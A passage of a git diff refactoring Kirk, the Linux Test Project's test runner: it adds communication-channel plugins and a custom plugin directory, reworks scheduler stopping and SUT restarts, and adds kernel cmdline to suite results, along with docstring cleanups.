skip_file_data.readlines() - toskip = [line.rstrip() for line in lines if not re.search(r"^\s+#.*", line)] - skip = "|".join(toskip) + toskip = [ + line.rstrip() + for line in lines + if line.strip() and not re.search(r"^\s*#", line) + ] + if toskip: + skip_parts.append("|".join(toskip)) if skip_tests: - if skip_file: - skip += "|" + skip_parts.append(skip_tests) + + return "|".join(skip_parts) + - skip += skip_tests +def _init_channels( + args: argparse.Namespace, parser: argparse.ArgumentParser, tmpdir: TempDir +) -> None: + """ + Initialize channels according to configuration. + """ + for config in args.com: + if "id" in config: + plugin = libkirk.com.clone_channel(config["name"], config["id"]) + else: + name = config["name"] + plugin = next( + (c for c in libkirk.com.get_channels() if c.name == name), + None, + ) - return skip + assert plugin + + com_config = config.copy() + com_config["tmpdir"] = tmpdir.abspath + + try: + # pyrefly: ignore[bad-argument-type] + plugin.setup(**com_config) + except CommunicationError as err: + parser.error(str(err)) def _get_sut( @@ -259,10 +261,13 @@ def _get_sut( sut_config["tmpdir"] = tmpdir.abspath sut_name = args.sut["name"] - sut = _get_plugin(LOADED_SUT, sut_name) + sut = next((s for s in libkirk.sut.get_suts() if s.name == sut_name), None) if not sut: parser.error(f"'{sut_name}' SUT is not available") + # pyrefly: ignore[missing-attribute] + sut.optimize = args.optimize_sut + try: # pyrefly: ignore[missing-attribute] sut.setup(**sut_config) @@ -273,37 +278,6 @@ def _get_sut( return sut -def _get_framework( - args: argparse.Namespace, parser: argparse.ArgumentParser -) -> Framework: - """ - Create and framework object. - """ - fw_config = args.framework.copy() - if args.env: - fw_config["env"] = args.env.copy() - - if args.exec_timeout: - fw_config["test_timeout"] = args.exec_timeout - - if args.suite_timeout: - fw_config["suite_timeout"] = args.suite_timeout - - fw_name = args.framework["name"] - framework = _get_plugin(LOADED_FRAMEWORK, fw_name) - if not framework: - parser.error(f"'{fw_name}' framework is not available") - - try: - # pyrefly: ignore[missing-attribute] - framework.setup(**fw_config) - except FrameworkError as err: - parser.error(str(err)) - - # pyrefly: ignore[bad-return] - return framework - - def _start_session(args: argparse.Namespace, parser: argparse.ArgumentParser) -> None: """ Start the LTP session. @@ -323,8 +297,6 @@ def _start_session(args: argparse.Namespace, parser: argparse.ArgumentParser) -> if restore_dir and not os.path.isdir(restore_dir): parser.error(f"Can't restore '{args.restore}'. Folder doesn't exist") - # create temporary directory - tmpdir = None if args.tmp_dir == "": tmpdir = TempDir(None) elif args.tmp_dir: @@ -332,15 +304,17 @@ def _start_session(args: argparse.Namespace, parser: argparse.ArgumentParser) -> else: tmpdir = TempDir("/tmp") - # create SUT and Framework objects + # initialize channels + if args.com: + _init_channels(args, parser, tmpdir) + + # create SUT sut = _get_sut(args, parser, tmpdir) - framework = _get_framework(args, parser) # start session session = Session( - sut=sut, - framework=framework, tmpdir=tmpdir, + sut=sut, exec_timeout=args.exec_timeout, suite_timeout=args.suite_timeout, workers=args.workers, @@ -355,14 +329,10 @@ def _start_session(args: argparse.Namespace, parser: argparse.ArgumentParser) -> # initialize user interface if args.workers > 1: ParallelUserInterface(args.no_colors) + elif args.verbose: + VerboseUserInterface(args.no_colors) else: - if args.verbose: - VerboseUserInterface(args.no_colors) - else: - SimpleUserInterface(args.no_colors) - - # start event loop - exit_code = RC_OK + SimpleUserInterface(args.no_colors) # read tests regex filter run_pattern = args.run_pattern @@ -404,6 +374,7 @@ def _start_session(args: argparse.Namespace, parser: argparse.ArgumentParser) -> try: loop.run_until_complete( + # pyrefly: ignore[bad-argument-type] asyncio.gather(*[libkirk.events.start(), session_run()]) ) except KeyboardInterrupt: @@ -412,19 +383,12 @@ def _start_session(args: argparse.Namespace, parser: argparse.ArgumentParser) -> exit_code = RC_ERROR finally: try: - # at this point loop has been closed, so we can collect all - # tasks and cancel them - loop.run_until_complete( - asyncio.gather( - *[ - session.stop(), - libkirk.events.stop(), - ] - ) - ) - libkirk.cancel_tasks(loop) + loop.run_until_complete(session.stop()) except KeyboardInterrupt: - pass + loop.run_until_complete(session.stop()) + + libkirk.cancel_tasks(loop) + loop.run_until_complete(libkirk.events.stop()) parser.exit(exit_code) @@ -432,10 +396,14 @@ def _start_session(args: argparse.Namespace, parser: argparse.ArgumentParser) -> def run(cmd_args: Optional[List[str]] = None) -> None: """ Entry point of the application. + + :param cmd_args: Command line arguments. + :type cmd_args: list(str) | None """ currdir = os.path.dirname(os.path.realpath(__file__)) - _discover_sut(currdir) - _discover_frameworks(currdir) + + libkirk.com.discover(os.path.join(currdir, "channels")) + libkirk.sut.discover(currdir) parser = argparse.ArgumentParser( description="Kirk - All-in-one Linux Testing Framework" @@ -463,28 +431,25 @@ def run(cmd_args: Optional[List[str]] = None) -> None: generic_opts.add_argument( "--monitor", "-m", type=str, help="Location of the monitor file" ) + generic_opts.add_argument( + "--plugins", "-P", type=str, help="Location of custom plugins" + ) conf_opts = parser.add_argument_group("Configuration options") + conf_opts.add_argument( + "--com", + "-C", + type=_com_config, + action="append", + help="Communication channel parameters. For help please use '--com help'", + ) conf_opts.add_argument( "--sut", "-u", - default="host", - type=_sut_config, + default="default", + type=lambda x: _dict_config(x), help="System Under Test parameters. For help please use '--sut help'", ) - conf_opts.add_argument( - "--framework", - "-U", - default="ltp", - type=_framework_config, - help="Framework parameters. For help please use '--framework help'", - ) - conf_opts.add_argument( - "--env", - "-e", - type=_env_config, - help="List of key=value environment values separated by ':'", - ) conf_opts.add_argument("--skip-tests", "-s", type=str, help="Skip specific tests") conf_opts.add_argument( "--skip-file", @@ -553,17 +518,33 @@ def run(cmd_args: Optional[List[str]] = None) -> None: default=0, help="Probability of failure (0-100)", ) + exec_opts.add_argument( + "--optimize-sut", + "-O", + action="store_true", + help="Communicate with SUT using commands parallelization (default: false)", + ) # output arguments # parse comand line args = parser.parse_args(cmd_args) - if args.sut and "help" in args.sut: - print(args.sut["help"]) + if args.plugins: + if not os.path.isdir(args.plugins): + parser.error(f"'{args.plugins}' plugins directory doesn't exist") + + libkirk.com.discover(args.plugins) + libkirk.sut.discover(args.plugins) + + if args.com and any("help" in obj for obj in args.com): + _print_plugin_help("--com", libkirk.com.get_channels()) parser.exit(RC_OK) - if args.framework and "help" in args.framework: - print(args.framework["help"]) + if args.com and len(args.com) >= MAX_COM_INSTANCES: + parser.error(f"Maximum number of communication objects is {MAX_COM_INSTANCES}") + + if args.sut and "help" in args.sut: + _print_plugin_help("--sut", libkirk.sut.get_suts()) parser.exit(RC_OK) if args.json_report and os.path.exists(args.json_report): diff --git a/ltp/tools/kirk/libkirk/monitor.py b/ltp/tools/kirk/kirk-src/libkirk/monitor.py similarity index 74% rename from ltp/tools/kirk/libkirk/monitor.py rename to ltp/tools/kirk/kirk-src/libkirk/monitor.py index 47515f33..502bb021 100644 --- a/ltp/tools/kirk/libkirk/monitor.py +++ b/ltp/tools/kirk/kirk-src/libkirk/monitor.py @@ -1,5 +1,5 @@ """ -.. module:: ui +.. module:: monitor :platform: Linux :synopsis: modules used to generate real-time data from the executor @@ -9,12 +9,21 @@ import asyncio import json import logging -from typing import Any, Dict, List +from typing import ( + Any, + Dict, +) import libkirk -from libkirk.data import Suite, Test +from libkirk.data import ( + Suite, + Test, +) from libkirk.io import AsyncFile -from libkirk.results import SuiteResults, TestResults +from libkirk.results import ( + SuiteResults, + TestResults, +) class JSONFileMonitor: @@ -25,7 +34,7 @@ class JSONFileMonitor: def __init__(self, path: str) -> None: """ - :param path: path of the file + :param path: Path of the file. :type path: str """ self._logging = logging.getLogger("libkirk.monitor") @@ -79,12 +88,7 @@ class JSONFileMonitor: """ Write a message to the JSON file. """ - data = { - "type": msg_type, - "message": msg, - } - - data_str = json.dumps(data) + data_str = json.dumps({"type": msg_type, "message": msg}) async with self._lock: async with AsyncFile(self._path, "w") as fdata: @@ -95,7 +99,7 @@ class JSONFileMonitor: """ Convert test into a dict which can be converted to JSON. """ - data = { + return { "name": test.name, "command": test.command, "arguments": test.arguments, @@ -104,39 +108,26 @@ class JSONFileMonitor: "env": test.env, } - return data - def _suite_to_dict(self, suite: Suite) -> Dict[str, Any]: """ Translate suite into a dict which can be converted into JSON. """ - data = {"name": suite.name, "tests": []} - - tests: List[dict] = [] - for test in suite.tests: - tests.append(self._test_to_dict(test)) - - data["tests"] = tests - - return data + return { + "name": suite.name, + "tests": [self._test_to_dict(test) for test in suite.tests], + } async def session_restore(self, restore: str) -> None: await self._write("session_restore", {"restore": restore}) - async def session_started(self, tmpdir: str) -> None: + async def session_started(self, suites: list, tmpdir: str) -> None: await self._write("session_started", {"tmpdir": tmpdir}) async def session_stopped(self) -> None: await self._write("session_stopped", {}) async def sut_stdout(self, sut: str, data: str) -> None: - await self._write( - "sut_stdout", - { - "sut": sut, - "data": data, - }, - ) + await self._write("sut_stdout", {"sut": sut, "data": data}) async def sut_start(self, sut: str) -> None: await self._write("sut_start", {"sut": sut}) @@ -156,29 +147,17 @@ class JSONFileMonitor: async def run_cmd_stop(self, command: str, stdout: str, returncode: int) -> None: await self._write( "run_cmd_stop", - { - "command": command, - "stdout": stdout, - "returncode": returncode, - }, + {"command": command, "stdout": stdout, "returncode": returncode}, ) async def test_stdout(self, test: Test, data: str) -> None: await self._write( "test_stdout", - { - "test": self._test_to_dict(test), - "data": data, - }, + {"test": self._test_to_dict(test), "data": data}, ) async def test_started(self, test: Test) -> None: - await self._write( - "test_started", - { - "test": self._test_to_dict(test), - }, - ) + await self._write("test_started", {"test": self._test_to_dict(test)}) async def test_completed(self, results: TestResults) -> None: await self._write( @@ -198,40 +177,40 @@ class JSONFileMonitor: async def test_timed_out(self, test: Test, timeout: int) -> None: await self._write( - "test_started", {"test": self._test_to_dict(test), "timeout": timeout} + "test_timed_out", {"test": self._test_to_dict(test), "timeout": timeout} ) async def suite_started(self, suite: Suite) -> None: await self._write("suite_started", self._suite_to_dict(suite)) async def suite_completed(self, results: SuiteResults, exec_time: float) -> None: - data = { - "suite": self._suite_to_dict(results.suite), - "exec_time": exec_time, - "total_run": len(results.suite.tests), - "passed": results.passed, - "failed": results.failed, - "skipped": results.skipped, - "broken": results.broken, - "warnings": results.warnings, - "kernel_version": results.kernel, - "cpu": results.cpu, - "arch": results.arch, - "ram": results.ram, - "swap": results.swap, - "distro": results.distro, - "distro_version": results.distro_ver, - } - - await self._write("suite_completed", data) + # Optimize: Create dict directly in function call + await self._write( + "suite_completed", + { + "suite": self._suite_to_dict(results.suite), + "exec_time": exec_time, + "total_run": len(results.suite.tests), + "passed": results.passed, + "failed": results.failed, + "skipped": results.skipped, + "broken": results.broken, + "warnings": results.warnings, + "kernel_version": results.kernel, + "cmdline": results.cmdline, + "cpu": results.cpu, + "arch": results.arch, + "ram": results.ram, + "swap": results.swap, + "distro": results.distro, + "distro_version": results.distro_ver, + }, + ) async def suite_timeout(self, suite: Suite, timeout: float) -> None: await self._write( "suite_timeout", - { - "suite": self._suite_to_dict(suite), - "timeout": timeout, - }, + {"suite": self._suite_to_dict(suite), "timeout": timeout}, ) async def session_warning(self, msg: str) -> None: diff --git a/ltp/tools/kirk/libkirk/plugin.py b/ltp/tools/kirk/kirk-src/libkirk/plugin.py similarity index 51% rename from ltp/tools/kirk/libkirk/plugin.py rename to ltp/tools/kirk/kirk-src/libkirk/plugin.py index b6d89b3f..b767e154 100644 --- a/ltp/tools/kirk/libkirk/plugin.py +++ b/ltp/tools/kirk/kirk-src/libkirk/plugin.py @@ -10,7 +10,15 @@ import importlib import importlib.util import inspect import os -from typing import Any, Dict, List +from pathlib import Path +from typing import ( + Any, + Dict, + List, + TypeVar, +) + +_Self = TypeVar("_Self", bound="Plugin") class Plugin: @@ -18,10 +26,13 @@ class Plugin: Generic plugin definition. """ + _name = "" + def setup(self, **kwargs: Dict[str, Any]) -> None: """ Initialize plugin using configuration dictionary. - :param kwargs: SUT configuration + + :param kwargs: SUT configuration. :type kwargs: dict """ raise NotImplementedError() @@ -31,46 +42,74 @@ class Plugin: """ Associate each configuration option with a help message. This is used by the main menu application to generate --help message. - :returns: dict + + :returns: Dictionary that associates options to help messages. + :rtype: dict """ raise NotImplementedError() @property def name(self) -> str: """ - Name of the plugin. + :return: Unique name identifier of the plugin. + :rtype: str """ - raise NotImplementedError() + return self._name + + def clone(self, name: str) -> _Self: + """ + Copy plugin and return a new instance with a given name. + Make sure that name is unique, so external modules can + recognize it. + + :param name: Unique identifier string given to the plugin. + :type name: str + :return: Cloned plugin. + :rtype: Plugin + """ + obj = self.__class__() + obj._name = name + + # pyrefly:ignore[bad-return] + return obj def discover(mytype: type, folder: str) -> List[Plugin]: """ - Discover ``mytype`` implementations inside a specific folder. + Discover mytype implementations inside a specific folder. + + :param mtype: Type of the object we are searching for. + :type mtype: type + :param folder: Folder where to search for mtype. + :type folder: str + :return: List of discovered plugins. + :rtype: list(Plugin) """ if not folder or not os.path.isdir(folder): raise ValueError("Discover folder doesn't exist") loaded_obj = [] - for myfile in os.listdir(folder): - if not myfile.endswith(".py"): - continue + # use pathlib for more efficient iteration + folder_path = Path(folder) - path = os.path.join(folder, myfile) - if not os.path.isfile(path): + for py_file in folder_path.glob("*.py"): + if not py_file.is_file(): continue - spec = importlib.util.spec_from_file_location("obj", path) + spec = importlib.util.spec_from_file_location("obj", str(py_file)) if not spec or not spec.loader: continue module = importlib.util.module_from_spec(spec) spec.loader.exec_module(module) + module_name = module.__name__ + members = inspect.getmembers(module, inspect.isclass) for _, klass in members: if ( - klass.__module__ != module.__name__ + klass.__module__ != module_name or klass is mytype or klass in loaded_obj ): @@ -79,7 +118,7 @@ def discover(mytype: type, folder: str) -> List[Plugin]: if issubclass(klass, mytype): loaded_obj.append(klass()) - if len(loaded_obj) > 0: + if loaded_obj: loaded_obj.sort(key=lambda x: x.name) return loaded_obj diff --git a/ltp/tools/kirk/libkirk/results.py b/ltp/tools/kirk/kirk-src/libkirk/results.py similarity index 69% rename from ltp/tools/kirk/libkirk/results.py rename to ltp/tools/kirk/kirk-src/libkirk/results.py index 90adee54..eac85feb 100644 --- a/ltp/tools/kirk/libkirk/results.py +++ b/ltp/tools/kirk/kirk-src/libkirk/results.py @@ -1,14 +1,20 @@ """ -.. module:: data +.. module:: results :platform: Linux :synopsis: module containing suites data definition .. moduleauthor:: Andrea Cervesato """ -from typing import List, Optional +from typing import ( + List, + Optional, +) -from libkirk.data import Suite, Test +from libkirk.data import ( + Suite, + Test, +) class ResultStatus: @@ -19,20 +25,30 @@ class ResultStatus: we assign a PASS status. """ - # regular test run PASS = 0 + """ + Test has passed. + """ - # test broken result BROK = 2 + """ + Test is broken. + """ - # test warns WARN = 4 + """ + Test warnings received. + """ - # test failure FAIL = 16 + """ + Test has failed. + """ - # test configuration error CONF = 32 + """ + Test can't run because of configuration error. + """ class Results: @@ -43,48 +59,48 @@ class Results: @property def exec_time(self) -> float: """ - Execution time. - :returns: float + :return: Test execution time in seconds. + :rtype: float """ raise NotImplementedError() @property def failed(self) -> int: """ - Number of TFAIL. - :returns: int + :return: Number of failures. + :rtype: int """ raise NotImplementedError() @property def passed(self) -> int: """ - Number of TPASS. - :returns: int + :return: Number of passed tests. + :rtype: int """ raise NotImplementedError() @property def broken(self) -> int: """ - Number of TBROK. - :returns: int + :return: Number of broken tests. + :rtype: int """ raise NotImplementedError() @property def skipped(self) -> int: """ - Number of TSKIP. - :returns: int + :return: Number of skipped tests. + :rtype: int """ raise NotImplementedError() @property def warnings(self) -> int: """ - Number of TWARN. - :returns: int + :return: Number of warnings. + :rtype: int """ raise NotImplementedError() @@ -108,25 +124,25 @@ class TestResults(Results): stdout: str = "", ) -> None: """ - :param test: Test object declaration + :param test: Test object declaration. :type test: Test - :param failed: number of TFAIL + :param failed: number of TFAIL. :type failed: int - :param passed: number of TPASS + :param passed: number of TPASS. :type passed: int - :param broken: number of TBROK + :param broken: number of TBROK. :type broken: int - :param skipped: number of TSKIP + :param skipped: number of TSKIP. :type skipped: int - :param warnings: number of TWARN + :param warnings: number of TWARN. :type warnings: int - :param exec_time: time for test's execution + :param exec_time: Time for test's execution. :type exec_time: float - :param status: overall status of the test + :param status: Overall status of the test. :type status: int - :param retcode: return code of the executed test + :param retcode: Return code of the executed test. :type retcode: int - :param stdout: stdout of the test + :param stdout: Stdout of the test. :type stdout: str """ if not test: @@ -150,7 +166,7 @@ class TestResults(Results): f"passed: {self._passed}, " f"broken: {self._broken}, " f"skipped: {self._skipped}, " - f"warnins: {self._warns}, " + f"warnings: {self._warns}, " f"exec_time: {self._exec_time}, " f"status: {self._status}, " f"retcode: {self._retcode}, " @@ -160,32 +176,32 @@ class TestResults(Results): @property def test(self) -> Test: """ - Test object declaration. - :returns: Test + :return: Test object. + :rtype: Test """ return self._test @property def return_code(self) -> int: """ - Return code after execution. - :returns: int + :return: Return code after execution. + :rtype: int """ return self._retcode @property def stdout(self) -> str: """ - Return the ending stdout. - :returns: str + :return: Test process stdout. + :rtype: str """ return self._stdout @property def status(self) -> int: """ - Overall test result status. - :returns: int + :return: Test result status. + :rtype: int """ return self._status @@ -222,43 +238,47 @@ class SuiteResults(Results): def __init__( self, suite: Suite, - tests: List[TestResults] = [], + tests: Optional[List[TestResults]] = None, distro: Optional[str] = None, distro_ver: Optional[str] = None, kernel: Optional[str] = None, + cmdline: Optional[str] = None, arch: Optional[str] = None, cpu: Optional[str] = None, swap: Optional[str] = None, ram: Optional[str] = None, ) -> None: """ - :param suite: Test object declaration + :param suite: Test object declaration. :type suite: Suite - :param tests: List of the tests results + :param tests: List of the tests results. :type tests: list(TestResults) - :param distro: distribution name + :param distro: Distribution name. :type distro: str - :param distro_ver: distribution version + :param distro_ver: Distribution version. :type distro_ver: str - :param kernel: kernel version + :param kernel: Kernel version. :type kernel: str - :param arch: OS architecture + :param cmdline: /proc/cmdline. + :type cmdline: str + :param arch: OS architecture. :type arch: str - :param cpu: CPU type info + :param cpu: CPU type info. :type cpu: str - :param swap: swap memory info + :param swap: Swap memory info. :type swap: str - :param ram: RAM info + :param ram: RAM info. :type ram: str """ if not suite: raise ValueError("Empty suite object") self._suite = suite - self._tests = tests + self._tests = tests if tests is not None else [] self._distro = distro self._distro_ver = distro_ver self._kernel = kernel + self._cmdline = cmdline self._arch = arch self._cpu = cpu self._swap = swap @@ -271,6 +291,7 @@ class SuiteResults(Results): f"distro: {self._distro}, " f"distro_ver: {self._distro_ver}, " f"kernel: {self._kernel}, " + f"cmdline: {self._cmdline}, " f"arch: {self._arch}, " f"cpu: {self._cpu}, " f"swap: {self._swap}, " @@ -280,16 +301,16 @@ class SuiteResults(Results): @property def suite(self) -> Suite: """ - Suite object declaration. - :returns: Suite + :returns: Testing suite. + :rtype: Suite """ return self._suite @property def tests_results(self) -> List[TestResults]: """ - Results of all tests. - :returns: list(TestResults) + :returns: list of all tests results. + :rtype: list(TestResults) """ return self._tests @@ -306,49 +327,64 @@ class SuiteResults(Results): @property def distro(self) -> Optional[str]: """ - Distribution name. + :return: Linux distribution name. + :rtype: str | None """ return self._distro @property def distro_ver(self) -> Optional[str]: """ - Distribution version. + :return: Linux distribution version. + :rtype: str | None """ return self._distro_ver @property def kernel(self) -> Optional[str]: """ - Kernel version. + :return: Kernel version. + :rtype: str | None """ return self._kernel + @property + def cmdline(self) -> Optional[str]: + """ + :return: /proc/cmdline. + :rtype: str | None + """ + return self._cmdline + @property def arch(self) -> Optional[str]: """ - Operating system architecture. + :return: Operating system architecture. + :rtype: str | None """ return self._arch @property def cpu(self) -> Optional[str]: """ - Current CPU type. + :return: Current CPU type. + :rtype: str | None """ return self._cpu @property def swap(self) -> Optional[str]: """ - Current swap memory occupation. + :return: Current swap memory occupation. + :rtype: str | None """ return self._swap @property def ram(self) -> Optional[str]: """ - Current RAM occupation. + :return: Current RAM occupation. + :rtype: str | None """ return self._ram diff --git a/ltp/tools/kirk/libkirk/scheduler.py b/ltp/tools/kirk/kirk-src/libkirk/scheduler.py similarity index 82% rename from ltp/tools/kirk/libkirk/scheduler.py rename to ltp/tools/kirk/kirk-src/libkirk/scheduler.py index 9cba3bd3..60d76bb5 100644 --- a/ltp/tools/kirk/libkirk/scheduler.py +++ b/ltp/tools/kirk/kirk-src/libkirk/scheduler.py @@ -9,13 +9,22 @@ import asyncio import logging import os +import signal import sys import time -from typing import Any, Dict, List, Optional +from typing import ( + Any, + Dict, + List, + Optional, +) import libkirk import libkirk.data -from libkirk.data import Suite, Test +from libkirk.data import ( + Suite, + Test, +) from libkirk.errors import ( KernelPanicError, KernelTaintedError, @@ -24,8 +33,16 @@ from libkirk.errors import ( SchedulerError, ) from libkirk.framework import Framework -from libkirk.results import Results, SuiteResults, TestResults -from libkirk.sut import SUT, IOBuffer +from libkirk.results import ( + Results, + ResultStatus, + SuiteResults, + TestResults, +) +from libkirk.sut import ( + SUT, + IOBuffer, +) class Scheduler: @@ -38,14 +55,17 @@ class Scheduler: """ Current results. It's reset before every `schedule` call and it's populated when a job completes the execution. - :returns: list(Results) + + :return: List of results. + :rtype: list(Results) """ raise NotImplementedError() @property def stopped(self) -> bool: """ - Returns True when scheduler has been stopped. + :return: True when scheduler has been stopped. False otherwise. + :rtype: bool """ raise NotImplementedError() @@ -58,7 +78,8 @@ class Scheduler: async def schedule(self, jobs: List[Any]) -> None: """ Schedule and execute a list of jobs. - :param jobs: object containing jobs definition + + :param jobs: Object containing jobs definition :type jobs: list(object) """ raise NotImplementedError() @@ -106,13 +127,13 @@ class TestScheduler(Scheduler): self, sut: SUT, framework: Framework, timeout: float = 0.0, max_workers: int = 1 ) -> None: """ - :param sut: object to communicate with SUT + :param sut: Object to communicate with SUT. :type sut: SUT - :param framework: framework handler + :param framework: Framework handler. :type framework: Framework - :param timeout: timeout for tests execution + :param timeout: Timeout for tests execution. :type timeout: float - :param max_workers: maximum number of workers to schedule jobs + :param max_workers: Maximum number of workers to schedule jobs. :type max_workers: int """ if not sut: @@ -127,7 +148,7 @@ class TestScheduler(Scheduler): self._timeout = 0.0 if timeout < 0.0 else timeout self._max_workers = 1 if max_workers < 1 else max_workers self._results = [] - self._stop = False + self._stop_cnt = 0 self._stopped = False self._running_tests_sem = asyncio.Semaphore(1) self._schedule_lock = asyncio.Lock() @@ -153,7 +174,9 @@ class TestScheduler(Scheduler): """ self._logger.info("Writing test information on /dev/kmsg") - ret = await self._sut.run_command("id -u") + channel = self._sut.get_channel() + + ret = await channel.run_command("id -u") if not ret or ret["stdout"] != "0\n": self._logger.info("Can't write on /dev/kmsg from user") return @@ -169,7 +192,7 @@ class TestScheduler(Scheduler): f"{test.name}: start (command: {test.full_command})\n" ) - await self._sut.run_command(f'echo -n "{message}" > /dev/kmsg') + await channel.run_command(f'echo -n "{message}" > /dev/kmsg') @property def results(self) -> List[Results]: @@ -181,7 +204,12 @@ class TestScheduler(Scheduler): async def stop(self) -> None: self._logger.info("Stopping tests execution") - self._stop = True + self._stop_cnt += 1 + + if self._stop_cnt > 1: + # by stopping SUT first, we cause scheduler to complete + # current test immediatelly without waiting + await self._sut.stop() try: # we enter in the semaphore queue in order to get highest @@ -195,7 +223,7 @@ class TestScheduler(Scheduler): async with self._schedule_lock: pass finally: - self._stop = False + self._stop_cnt = 0 self._stopped = True self._logger.info("All tests have been completed") @@ -205,9 +233,9 @@ class TestScheduler(Scheduler): Run a single test and populate the results array. """ async with self._running_tests_sem: - if self._stop: + if self._stop_cnt > 0: self._logger.info("Test '%s' has been stopped", test.name) - return None + return self._logger.info("Running test %s", test.name) self._logger.debug(test) @@ -222,13 +250,14 @@ class TestScheduler(Scheduler): test_data: Dict[str, Any] = {} tainted_msg = None status = self.STATUS_OK + channel = self._sut.get_channel() try: tainted_code1, _ = await self._get_tainted_status() # pyrefly: ignore[bad-assignment] test_data = await asyncio.wait_for( - self._sut.run_command( + channel.run_command( cmd, cwd=test.cwd, env=test.env, iobuffer=iobuffer ), timeout=self._timeout, @@ -255,7 +284,7 @@ class TestScheduler(Scheduler): self._logger.info("Got test timeout. Checking if SUT is still replying") try: - await asyncio.wait_for(self._sut.ping(), timeout=10) + await asyncio.wait_for(channel.ping(), timeout=10) self._logger.info("SUT replied") except asyncio.TimeoutError: @@ -271,6 +300,13 @@ class TestScheduler(Scheduler): "exec_time": exec_time, } + # we won't consider tests killed by kirk during forcibly stop, + # but only if they have been killed by an external application + # or kernel OOM + if test_data["returncode"] == -signal.SIGKILL and self._stop_cnt > 1: + self._logger.info("Test killed: %s", test.name) + return + results = await self._framework.read_result( test, test_data["stdout"], @@ -281,6 +317,12 @@ class TestScheduler(Scheduler): self._logger.debug("results=%s", results) self._results.append(results) + await libkirk.events.fire("test_completed", results) + await self._write_kmsg(test, results) + + self._logger.info("Test completed: %s", test.name) + self._logger.debug(results) + # raise kernel errors at the end so we can collect test results if status == self.KERNEL_TAINTED: await libkirk.events.fire("kernel_tainted", tainted_msg) @@ -294,12 +336,6 @@ class TestScheduler(Scheduler): await libkirk.events.fire("sut_not_responding") raise KernelTimeoutError() - await libkirk.events.fire("test_completed", results) - await self._write_kmsg(test, results) - - self._logger.info("Test completed: %s", test.name) - self._logger.debug(results) - async def _run_and_wait(self, tests: List[Test]) -> None: """ Run tests one after another. @@ -343,25 +379,24 @@ class TestScheduler(Scheduler): self._results.clear() + # Cache filtered lists to avoid redundant list comprehensions + parallelizable_tests = [test for test in jobs if test.parallelizable] + sequential_tests = [test for test in jobs if not test.parallelizable] + try: if self._max_workers > 1: - await self._run_parallel( - [test for test in jobs if test.parallelizable] - ) - await self._run_and_wait( - [test for test in jobs if not test.parallelizable] - ) + await self._run_parallel(parallelizable_tests) + await self._run_and_wait(sequential_tests) else: await self._run_and_wait(jobs) except KirkException as err: exc_name = err.__class__.__name__ self._logger.info("%s caught during tests execution", exc_name) - raise_exc = not self._stop async with self._running_tests_sem: pass - if raise_exc: + if self._stop_cnt == 0: self._logger.info("Propagating %s exception", exc_name) raise err @@ -383,15 +418,15 @@ class SuiteScheduler(Scheduler): max_workers: int = 1, ) -> None: """ - :param sut: object used to communicate with SUT + :param sut: Object used to communicate with SUT. :type sut: SUT - :param framework: framework handler + :param framework: Framework handler. :type framework: Framework - :param suite_timeout: timeout before stopping testing suite + :param suite_timeout: Timeout before stopping testing suite. :type suite_timeout: float - :param exec_timeout: timeout before stopping single execution + :param exec_timeout: Timeout before stopping single execution. :type exec_timeout: float - :param max_workers: maximum number of workers to schedule jobs + :param max_workers: Maximum number of workers to schedule jobs. :type max_workers: int """ if not sut: @@ -447,7 +482,7 @@ class SuiteScheduler(Scheduler): async def _restart_sut(self) -> None: """ - Reboot the SUT. + Restart the SUT after stopping the tests scheduling. """ async with self._reboot_lock: self._logger.info("Rebooting SUT") @@ -457,8 +492,7 @@ class SuiteScheduler(Scheduler): iobuffer = RedirectSUTStdout(self._sut) await self._scheduler.stop() - await self._sut.stop(iobuffer=iobuffer) - await self._sut.ensure_communicate(iobuffer=iobuffer) + await self._sut.restart(iobuffer=iobuffer) self._logger.info("SUT rebooted") @@ -476,7 +510,7 @@ class SuiteScheduler(Scheduler): start_t = 0.0 timed_out = False exec_times = [] - tests_results = [] + tests_results: List[TestResults] = [] tests_left = list(suite.tests) reboot_event = asyncio.Event() @@ -499,27 +533,31 @@ class SuiteScheduler(Scheduler): except (KernelPanicError, KernelTaintedError, KernelTimeoutError): if self._reboot_lock.locked(): self._logger.info("SUT is rebooting. Waiting...") - await reboot_event.wait() + + try: + await asyncio.wait_for(reboot_event.wait(), 3600) + except asyncio.TimeoutError: + self._logger.info("SUT reboot timed out") + timed_out = True else: await self._restart_sut() reboot_event.set() finally: exec_times.append(time.time() - start_t) + # pyrefly: ignore[bad-argument-type] tests_results.extend(self._scheduler.results) - # tests_left array will be populated when SUT is - # rebooted after a kernel error tests_left.clear() - - for test in suite.tests: - found = False - for test_res in tests_results: - if test.name == test_res.test.name: - found = True - break - - if not found: - tests_left.append(test) + completed_test_names = { + test_res.test.name for test_res in tests_results + } + tests_left.extend( + [ + test + for test in suite.tests + if test.name not in completed_test_names + ] + ) if timed_out: for test in tests_left: @@ -534,10 +572,10 @@ class SuiteScheduler(Scheduler): exec_time=0.0, retcode=32, stdout="", + status=ResultStatus.CONF, ) ) - # no more tests need to be run tests_left.clear() break finally: @@ -551,6 +589,7 @@ class SuiteScheduler(Scheduler): distro=info["distro"], distro_ver=info["distro_ver"], kernel=info["kernel"], + cmdline=info["cmdline"], arch=info["arch"], cpu=info["cpu"], swap=info["swap"], diff --git a/ltp/tools/kirk/libkirk/session.py b/ltp/tools/kirk/kirk-src/libkirk/session.py similarity index 77% rename from ltp/tools/kirk/libkirk/session.py rename to ltp/tools/kirk/kirk-src/libkirk/session.py index 8b5a6276..302a42b0 100644 --- a/ltp/tools/kirk/libkirk/session.py +++ b/ltp/tools/kirk/kirk-src/libkirk/session.py @@ -12,17 +12,29 @@ import logging import os import random import re -from typing import Dict, List, Optional +from typing import ( + Dict, + List, + Optional, +) import libkirk import libkirk.types from libkirk.data import Suite -from libkirk.errors import KirkException +from libkirk.errors import ( + KirkException, + SessionError, +) from libkirk.export import JSONExporter from libkirk.io import AsyncFile +from libkirk.ltp import LTPFramework from libkirk.results import TestResults from libkirk.scheduler import SuiteScheduler -from libkirk.sut import SUT, IOBuffer +from libkirk.sut import ( + SUT, + IOBuffer, +) +from libkirk.tempfile import TempDir class RedirectSUTStdout(IOBuffer): @@ -46,45 +58,41 @@ class Session: The session runner. """ - def __init__(self, **kwargs) -> None: + def __init__( + self, + tmpdir: TempDir, + sut: SUT, + exec_timeout: float = 3600.0, + suite_timeout: float = 3600.0, + workers: int = 1, + force_parallel: bool = False, + ) -> None: """ - :param tmpdir: temporary directory + :param tmpdir: Temporary directory. :type tmpdir: TempDir - :param framework: testing framework we are using - :type framework: Framework - :param sut: SUT communication object + :param sut: SUT communication object. :type sut: SUT - :param exec_timeout: test timeout + :param 